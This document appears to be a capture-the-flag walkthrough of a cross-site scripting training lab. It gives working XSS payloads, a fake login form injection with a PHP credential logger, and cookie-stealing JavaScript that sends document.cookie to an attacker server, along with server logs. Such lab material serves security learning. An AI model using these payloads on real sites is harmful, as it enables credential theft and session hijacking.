Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is one of the most prevalent vulnerabilities found in web applications. Exploiting an XSS flaw can let an attacker run arbitrary JavaScript in a user’s browser, potentially leading to full compromise of the web application when combined with other weaknesses. This module will guide you through identifying XSS vulnerabilities and demonstrating how they can be exploited.

Stored XSS

Before diving into discovering and exploiting XSS vulnerabilities, it’s important to understand the different types of XSS and how they differ, so we can choose the right approach for each scenario.

The first and arguably most critical type is Stored XSS, also known as Persistent XSS. This occurs when the malicious payload we inject is saved in the back-end database and then displayed whenever a user visits the affected page.

Stored XSS is particularly dangerous because it can impact any user who accesses the page, giving it a far-reaching effect. Additionally, removing this type of XSS can be challenging, often requiring deletion of the payload directly from the database.

To get the flag, use the same payload we used above, but change its JavaScript code to show the cookie instead of showing the url.

Insert the payload above on the input field and press Enter.

<script>alert(document.cookie)</script>

Reflected XSS

Non-Persistent XSS vulnerabilities come in two forms: Reflected XSS, which is handled by the back-end server, and DOM-based XSS, which is executed entirely on the client side and never reaches the server. Unlike Stored XSS, these vulnerabilities are temporary—they don’t persist through page reloads. As a result, attacks only affect the targeted user and won’t impact others who visit the page.

Reflected XSS happens when user input is sent to the server and returned without proper filtering or sanitization. This often occurs in scenarios like error messages or confirmation prompts, where the server echoes back the input. By injecting XSS payloads, we can test whether the input executes. Since these messages are typically temporary, the payload disappears once we leave the page, classifying it as Non-Persistent.

To practice, we can start the server below, which hosts a web page vulnerable to Reflected XSS. The setup resembles the To-Do List application we explored in the previous section.

To get the flag, use the same payload we used above, but change its JavaScript code to show the cookie instead of showing the url.

Insert the payload above on the input field and click on Add button

<script>alert(document.cookie)</script>

DOM XSS

The third and final type of Cross-Site Scripting (XSS) vulnerability that we need to understand is DOM-based XSS, which is also classified as a Non-Persistent XSS type. While we’ve already discussed Reflected XSS, where the malicious input is sent to the back-end server and reflected back to the user, DOM-based XSS takes a completely different approach. In this case, the vulnerability is purely client-side, meaning the attack never reaches the server at all.

DOM XSS occurs when JavaScript running in the browser manipulates the page’s Document Object Model (DOM) in an unsafe way. Essentially, the application takes input—often from the URL, cookies, or other client-side data sources—and uses it to modify the web page dynamically. If this input is not properly sanitized, an attacker can inject malicious scripts that execute directly in the victim’s browser. This makes DOM XSS particularly insidious, as the attack is invisible to the server, and traditional server-side protections may not detect it.

Unlike Stored XSS, which can affect every user who visits a page, or Reflected XSS, which temporarily targets a specific user via server responses, DOM XSS is entirely dependent on client-side code execution. This means the attack affects only the users who interact with the vulnerable page in a specific way, but it can still have serious consequences. For instance, an attacker could steal session cookies, perform actions on behalf of the user, or manipulate page content to trick the user into performing unintended actions.

To better understand how DOM-based XSS works in practice, we can set up and run the server provided below. This server hosts a web application specifically designed to demonstrate a DOM XSS vulnerability. By interacting with this application, we can observe how user input is processed by JavaScript and how malicious scripts can be injected and executed purely on the client side. This hands-on practice is crucial for learning how to identify and mitigate DOM-based XSS vulnerabilities in real-world web applications.

To get the flag, use the same payload we used above, but change its JavaScript code to show the cookie instead of showing the url.

Insert the payload above on the input field and click on Add button

<img src="" onerror=alert(document.cookie)>

XSS Discovery

By this point, we should have a solid grasp of what Cross-Site Scripting (XSS) vulnerabilities are, the three main types—Stored, Reflected, and DOM-based XSS—and the key differences between them. We also understand the core mechanism behind XSS: injecting JavaScript into a web page so that it executes in the client’s browser. This ability to run arbitrary code in a user’s browser lays the foundation for numerous potential attacks, which we will explore and learn to leverage later.

In this section, our focus shifts to the detection of XSS vulnerabilities within web applications. Finding vulnerabilities can often be as challenging as exploiting them, requiring both patience and methodical techniques. Fortunately, XSS flaws are among the most common web application weaknesses, which means a variety of tools and techniques exist to help identify them efficiently. By combining manual testing methods with automated scanning tools, we can systematically uncover XSS vulnerabilities, understand how they function, and determine their potential impact on an application.

Detection is not just about finding an entry point for a script—it’s about understanding how the application processes and reflects input, whether it’s stored in a database, reflected in a server response, or manipulated entirely on the client side via JavaScript. With the right approach and tools, we can map out the application’s behavior, identify potential weak spots, and prepare for responsible exploitation or mitigation of these vulnerabilities.

Utilize some of the techniques mentioned in this section to identify the vulnerable input parameter found in the above server. What is the name of the vulnerable parameter?

Fill the fields and click on Register button. Get the address and use XssStrike

http://94.237.57.115:30731/?fullname=a&username=b&password=c&email=g%40gmail.com
$ python xsstrike.py -u 'http://94.237.57.115:30731/?fullname=a&username=b&password=c&email=gk40gmail.com'

XSStrike v3.1.5

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[~] Testing parameter: fullname
[-] No reflection found
[~] Testing parameter: username
[-] No reflection found
[~] Testing parameter: password
[-] No reflection found
[~] Testing parameter: [REDACTED]
[+] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[+] Payloads generated: 3071

[*] Payload: <D3>%00onPoInTErEnTEr+=+(prompt)`>%v3dm0s
[+] Efficiency: 100
[+] Confidence: 10
[?] Would you like to continue scanning? [y/N] n

What type of XSS was found on the above server? “name only”

The payload is echoed back immediately in the server response (e.g., via a crafted URL or form) and executes in the victim’s browser without being stored.
It’s triggered when a user follows a malicious link or submits input that the server reflects, so the attack requires social engineering.
Unlike stored XSS, the injected script doesn’t persist in the database or appear to other users later — it only runs during that reflected request.

Phishing

Another highly prevalent form of XSS exploitation is the phishing attack. In these attacks, attackers leverage seemingly legitimate content to deceive users into revealing sensitive information. A typical example involves injecting fake login forms directly into a vulnerable web page. When unsuspecting users enter their credentials, the information is sent straight to the attacker’s server. With these stolen details, the attacker can impersonate the victim, gain unauthorized access to their account, and potentially harvest other sensitive data.

Beyond malicious exploitation, discovering an XSS vulnerability in a web application can also serve as a phishing simulation exercise. For instance, security teams can use such vulnerabilities to safely test an organization’s security posture and evaluate employee awareness. This is particularly effective if employees inherently trust the vulnerable application and do not anticipate malicious behavior. By running controlled simulations, organizations can better understand human vulnerabilities, improve training programs, and strengthen overall cybersecurity awareness.

Try to find a working XSS payload for the Image URL form found at ‘/phishing’ in the above server, and then use what you learned in this section to prepare a malicious URL that injects a malicious login form. Then visit ‘/phishing/send.php’ to send the URL to the victim, and they will log into the malicious login form. If you did everything correctly, you should receive the victim’s login credentials, which you can use to login to ‘/phishing/login.php’ and obtain the flag.

First we need to go to the page: http://127.0.0.1/phishing/index.php and create a payload.

'><script>alert("XSS testing");</script>

Now, we want to create a fake login page. Use the payload above:

'><script>document.write('<h3>Please login to continue</h3><form action=http://YOURIP:PORT/><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--

As we can see it’s a basic login screen, but we can make this script more complex by adding inner HTML styling to it, essentially making it look more believable:

'><script>document.write('<h3 style="text-align: center;">Please login to continue</h3><form action=http://YOURIP:PORT/><input style="width: 20%; padding: 5px 5px; margin: 0px auto; box-sizing: border_box; display: block;" type="username" name="username" placeholder="Username"><input style="width: 20%; padding: 5px 5px; margin: 10px auto; box-sizing: border_box; display: block;" type="password" name="password" placeholder="Password"><input style="width: 20%; padding: 5px 5px; margin: 0px auto; box-sizing: border_box; display: block;" type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--

Now that the client side is ready, let’s prepare our server

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>

Create the php server in the same directory that you save index.php

sudo php -S 0.0.0.0:80

Now, execute the script bellow to test the payload

http://127.0.0.1/phishing/index.php?url=%27%3E%3Cscript%3Edocument.write%28%27%3Ch3+style%3D%22text-align%3A+center%3B%22%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F127.0.0.1%2F%3E%3Cinput+style%3D%22width%3A+20%25%3B+padding%3A+5px+5px%3B+margin%3A+0px+auto%3B+box-sizing%3A+border_box%3B+display%3A+block%3B%22+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+style%3D%22width%3A+20%25%3B+padding%3A+5px+5px%3B+margin%3A+10px+auto%3B+box-sizing%3A+border_box%3B+display%3A+block%3B%22+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+style%3D%22width%3A+20%25%3B+padding%3A+5px+5px%3B+margin%3A+0px+auto%3B+box-sizing%3A+border_box%3B+display%3A+block%3B%22+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3Bdocument.getElementById%28%27urlform%27%29.remove%28%29%3B%3C%2Fscript%3E%3C---
$ sudo php -S 0.0.0.0:80
[Fri Aug 15 13:08:59 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Fri Aug 15 13:13:08 2025] 127.0.0.1:59128 Accepted
[Fri Aug 15 13:13:08 2025] 127.0.0.1:59128 [302]: GET /?username=teste&password=teste&submit=Login
[Fri Aug 15 13:13:08 2025] 127.0.0.1:59128 Closing
[Fri Aug 15 13:13:09 2025] 127.0.0.1:59128 Accepted
[Fri Aug 15 13:13:09 2025] 127.0.0.1:59142 Accepted
[Fri Aug 15 13:14:09 2025] 127.0.0.1:59142 Closed without sending a request; it was probably just an unused speculative preconnection

Now that our script works, send the payload on the address ‘/phishing/send.php

$ sudo php -S 0.0.0.0:80
[Fri Aug 15 13:17:28 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Fri Aug 15 13:17:34 2025] 127.0.0.1:45176 Accepted
[Fri Aug 15 13:17:34 2025] 127.0.0.1:45176 [302]: GET /?username=admin&password=p1zd0nt57341myp455&submit=Login
[Fri Aug 15 13:17:34 2025] 127.0.0.1:45176 Closing

Go to the site /login.php and use the credentials that we got.

Session Hijacking

Modern web applications rely heavily on cookies to manage user sessions across multiple visits. This allows users to log in once and remain authenticated, even if they return to the site days or weeks later. While convenient, this system also introduces a potential security risk: if an attacker can access a user’s cookies, they may be able to impersonate that user without ever knowing their actual login credentials.

By executing JavaScript on a victim’s browser—something XSS vulnerabilities allow—we can capture these cookies and send them to a server controlled by the attacker. This technique, known as Session Hijacking or Cookie Stealing, enables the attacker to take over the victim’s active session, effectively gaining unauthorized access to their account and all associated privileges. Such attacks highlight why protecting session data and sanitizing user input are critical in web application security.

Try to repeat what you learned in this section to identify the vulnerable input field and find a working XSS payload, and then use the ‘Session Hijacking’ scripts to grab the Admin’s cookie and use it in ‘login.php’ to get the flag.

The first thing was to test the payloads field by field until someone sent a connection to my server. Ooen tthe site and use the payload bellow to find what field is vulnerable to xss.

"><script src=http://127.0.0.1/name></script>
"><script src=http://127.0.0.1/username></script>
"><script src=http://127.0.0.1/password></script>
test@test.com
"><script src=http://127.0.0.1/picture></script>

Start a php service to get the result.

sudo php -S 0.0.0.0:80

And click on Register button.

$ sudo php -S 0.0.0.0:80
[Sun Aug 17 13:14:32 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Sun Aug 17 13:16:04 2025] 127.0.0.1:33834 Accepted
[Sun Aug 17 13:16:04 2025] 127.0.0.1:33834 [404]: GET /picture - No such file or directory
[Sun Aug 17 13:16:04 2025] 127.0.0.1:33834 Closing

Now we know that the field picture is vulnerabile. Let’s create a script called index.php

<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

We need to create the javascript file.

new Image().src='http://127.0.0.1:8080/index.php?c='+document.cookie;

This script will call the php file passing the cook as parameter. Now execute the script above on the picture filed.

"><script src=http://127.0.0.1/script.js></script>
$ sudo php -S 0.0.0.0:80
[Sun Aug 17 13:43:27 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Sun Aug 17 13:43:27 2025] 127.0.0.1:34516 Accepted
[Sun Aug 17 13:43:27 2025] 127.0.0.1:34516 [200]: GET /script.js
[Sun Aug 17 13:43:27 2025] 127.0.0.1:34516 Closing
[Sun Aug 17 13:43:29 2025] 127.0.0.1:34518 Accepted
[Sun Aug 17 13:43:29 2025] 127.0.0.1:34518 [200]: GET /index.php?c=cookie=c00k1355h0u1d8353cu23d
[Sun Aug 17 13:43:29 2025] 127.0.0.1:34518 Closing

Once we have a session cookie, we can use it to impersonate the victim. Go to the admin login panel, and insert the name”cookie” and value “c00k1355h0u1d8353cu23d”. Then refresh the page.

Skills Assessment

We are currently engaged in a comprehensive Web Application Penetration Testing project for a client who has recently launched their brand-new Security Blog. The goal of this engagement is to thoroughly evaluate the security posture of their web application and ensure that it is protected against common web-based attacks.

As part of our structured penetration testing methodology, we have now reached a critical phase: testing the application for Cross-Site Scripting (XSS) vulnerabilities. XSS vulnerabilities are among the most prevalent security issues in modern web applications, and they pose a significant risk because they can allow attackers to execute arbitrary JavaScript code within the browsers of unsuspecting users. If left unaddressed, these vulnerabilities could be exploited to steal sensitive information, hijack user sessions, perform phishing attacks, or even manipulate the content displayed to visitors.

During this phase, our primary objective is to simulate real-world attacks that an adversary might attempt, carefully analyzing the way the web application handles user input. By doing so, we can uncover any weaknesses in input validation, output encoding, and other security mechanisms that are intended to protect the site from malicious activity. Our findings will not only highlight potential security gaps but also provide actionable recommendations to strengthen the application and safeguard both the client and their users from potential threats.

This stage of testing is crucial, as it helps ensure the integrity and trustworthiness of the Security Blog, demonstrating that the organization takes web security seriously and is committed to maintaining a safe experience for all visitors.

What is the value of the ‘flag’ cookie?

Open the site and click on the “Welcome to security blog” link.

Use the payload above to discover what field below is vulnerable to xss.

"><script src=http://127.0.0.1/comment></script>
"><script src=http://127.0.0.1/name></script>
test@test.com
"><script src=http://127.0.0.1/website></script>

Now we know that the field website is vulnerable.

$ sudo php -S 0.0.0.0:80
[Sun Aug 17 13:57:31 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Sun Aug 17 13:58:25 2025] 127.0.0.1:34794 Accepted
[Sun Aug 17 13:58:25 2025] 127.0.0.1:34794 [200]: GET /website
[Sun Aug 17 13:58:25 2025] 127.0.0.1:34794 Closing

As we made in the last exercise, create a script called script.js

new Image().src='http://127.0.0.1:80/index.php?c='+document.cookie;

And a script called index.php

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

Now, put the payload below in the website field.

"><script src=http://127.0.0.1/script.js></script>

And get the flag.

$ sudo php -S 0.0.0.0:80
[Sun Aug 17 14:04:20 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Sun Aug 17 14:04:35 2025] 127.0.0.1:34906 Accepted
[Sun Aug 17 14:04:35 2025] 127.0.0.1:34906 [200]: GET /script.js
[Sun Aug 17 14:04:35 2025] 127.0.0.1:34906 Closing
[Sun Aug 17 14:04:36 2025] 127.0.0.1:34908 Accepted
[Sun Aug 17 14:04:36 2025] 127.0.0.1:34908 [200]: GET /index.php?c=wordpress_test_cookie=WP%20Cookie%20check;%20wp-settings-time-2=1755450298;%20flag=[REDACTED]
[Sun Aug 17 14:04:36 2025] 127.0.0.1:34908 Closing